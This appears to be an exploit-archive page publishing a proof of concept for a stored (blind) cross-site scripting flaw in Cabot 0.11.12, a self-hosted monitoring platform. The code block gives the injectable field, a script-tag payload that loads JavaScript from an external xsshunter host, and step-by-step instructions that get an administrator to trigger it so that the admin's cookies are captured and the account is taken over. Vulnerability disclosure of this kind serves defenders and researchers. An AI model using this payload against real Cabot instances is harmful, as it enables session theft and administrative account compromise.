Cabot 0.11.12 Cross Site Scripting

Authored by Abhiram V

Posted Sep 7, 2020

Cabot version 0.11.12 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | b48bcc95a0fa44e864eba57231f2d1b1d8bda5a46716c0cac0690f14dd4623bf **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Cabot 0.11.12 - Persistent Cross-Site Scripting
# Date: 2020-09-06
# Exploit Author: Abhiram V
# Vendor Homepage: https://cabotapp.com/
# Software Link: https://github.com/arachnys/cabot
# Version: 0.11.12
# Tested on: Ubuntu Linux

#############################################################################

Introduction

Cabot is a free, open-source, self-hosted infrastructure monitoring
platform
that provides some of the best features of PagerDuty, Server Density,
Pingdom
and Nagios without their cost and complexity.It provides a web interface
that allows
us to monitor services and send telephone, sms or hipchat/email alerts to
your
on-duty team if those services start misbehaving or go down .

#############################################################################

XSS details: Blind XSS

#############################################################################

Executing Blind XSS in New Instances leads to admin account takeover

URL
http://127.0.0.1:5000/instance/create/

PAYLOAD
"><script src=https://anonart.xss.ht></script>
*payload from xsshunter.com platform for finding blind xss*

PARAMETER
Address column

EXPLOITATION
Create a user account under django administrator account and login as user
to perform the attack
Create a new instance and save the instances, Navigate to Services.
Create a new Service from then input a Name and Url (for POC i used
BlindXSS in both columns).
Then append the admin account in Users to notify column and use status
check and instances then save.
Now the admin account gets a notification when the admin runs the check
Blind XSS executes in background.
when login to xsshunter.com we can see the screenshots cookies and all
details of admin account

IMPACT
Stored XSS can be executed from any accounts and triggered in any accounts
including django administration
unknowingly by the victim (here it is admin) and compromise the accounts.

Tested in both xsshunter.com and blindf.com
Attacker can also use stored xss payloads here.

#############################################################################
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us
- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By
- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed